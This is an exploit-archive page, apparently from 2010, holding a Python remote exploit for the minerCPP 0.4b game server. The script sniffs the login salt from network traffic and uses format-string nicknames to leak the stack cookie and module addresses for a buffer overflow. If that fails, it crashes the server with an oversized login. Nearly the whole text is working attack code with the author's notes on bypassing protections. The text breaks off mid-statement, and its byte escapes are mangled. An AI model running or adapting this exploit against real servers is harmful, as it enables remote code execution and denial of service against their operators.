minerCPP 0.4b Remote BOF+Format String Attack Exploit
Posted on 06 July 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>minerCPP 0.4b Remote BOF+Format String Attack Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>===================================================== minerCPP 0.4b Remote BOF+Format String Attack Exploit ===================================================== #!/usr/bin/env python #minerCPP 0.4b Remote BOF+Format String Attack Exploit #Software Link: http://sourceforge.net/projects/minercpp/ #Author: l3D #Sites: http://xraysecurity.blogspot.com, http://nullbyte.org.il #IRC: irc://irc.nix.co.il #Email: pupipup33@gmail.com #Tested on Windows 7 #In order to make this exploit work you should sniff the salt first. #It's sent by the software to www.minecraft.net #You can find it in the POST data (salt=12345 for instance). #I added a part that sniffs it automatically using pcapy. #Furthermore, in a real attack it can be simply brute #forced (it's only rand()). I didn't add this part in #order to prevent abusing. #The EAX can be influenced and the stack too. #However, there is a stack cookie that #prevents us to jump into our overwritten RET. #There are no SEH nor vtable overwritings. #So what can we do?... #I found a format string attack vulnerability #which lets us calculate the master cookie #and get the ESP of the current thread. #Unfortunately, the BOF is in another #thread, so the ESP we've got may not match #the ESP we need, what makes this exploit unstable. #Code execution worked to me 10 out of 50 times. from socket import * from time import sleep import pcapy, hashlib, re, struct, os, sys print 'minerCPP 0.4b Remote BOF+Format String Attack by l3D (pupipup33@gmail.com) ' if len(sys.argv) < 3: print 'Usage: python %s <host> <port> [salt]' % sys.argv[0] print 'If salt is not specified, the exploit sniffs it automatically.' if len(sys.argv) > 3: salt=sys.argv[3] else: dev=pcapy.lookupdev() cap=pcapy.open_live(dev, 1024, False, 0) cap.setfilter("dst 69.175.14.242 and dst port 80") data=cap.next()[1] while 1: salt=re.findall(r'salt=(d+)', data) if salt: salt=salt[0] break data=cap.next()[1] host=sys.argv[1] port=int(sys.argv[2]) exp=re.compile(r'0X([0-9A-F]+)') def md5_calc(input): o=hashlib.md5(input) output=o.hexdigest() del o return output def pack_login(nick, x): login='x00x07' if x: nick_hash=md5_calc(salt+nick) nick=nick.ljust(64) return login+nick+nick_hash else: return login+nick+'x20' def pack_msg(nick, x): msg='x0dx7e' if x: content='/pinfo %s ' % nick content=content.ljust(64, 'A') else: content='/pinfo '+nick content=content.ljust(64) return msg+content def send_and_run(packet): sock=socket(AF_INET, SOCK_STREAM) sock.connect((host, port)) sock.send(packet) sleep(1) sock.close() del sock sleep(2) ############################################################################################## print '[1] Stage 1: Cookie and KERNELBASE.dll ImageBase Getting' nick='%s.%#X.%#X' trys=0 packet=pack_msg(nick, True) try: sock=socket(AF_INET, SOCK_STREAM) sock.connect((host, port)) sock.send(pack_login(nick, True)) except: exit('[-] ERROR: Sockets error.') data=sock.recv(2048) while data: if data[0]=='x00': print '[+] Logged in successfuly!' sock.send(packet) if data[0]=='x0e': sock.close() exit('[-] ERROR: Wrong salt.') if data.startswith('x0dx00&e') and ' is a &7' in data: print '[+] Data has been recieved!' nums=[int(i, 16) for i in exp.findall(data[4:])] if nums: data=data[4:data.find('.0X')] if len(data)<8: if trys < 20: print '[!] Data is too short, trying again...' trys+=1 sleep(1) sock.send(packet) else: print '[-] ERROR: Too much trys. DoSing...' sock.close() sleep(1) send_and_run(pack_login('A'*128, False)) exit() else: esp=nums[1]-0xf0 kernelbase, xored_esp=struct.unpack('2L', data) cookie=xored_esp^esp kernelbase-=0x1671 print '[+] Stage 1 completed.' break else: sock.close() exit('[-] ERROR: addresses couldn't be found.') data=sock.recv(2048) sock.close() del sock print sleep(2) ############################################################################################## print '[2] Stage 2: minerCPP.exe and kernel32.dll ImageBases Getting' nick='%#X.%#X.%s' packet=pack_msg(nick, False) try: sock=socket(AF_INET, SOCK_STREAM) sock.connect((host, port)) sock.send(pack_login(nick, True)) except: exit('[-] ERROR: Sockets error.') data=sock.recv(2048) while data: if data[0]=='x00': print '[+] Logged in successfuly!' sock.send(packet) if data.startswith('x0dx00&e') and ' is a &7' in data: print '[+] Data has been recieved!' data=data[4:data.find(' is a &7')] data=exp.sub('', data, 2)[2:10] if len(data)==7: data+='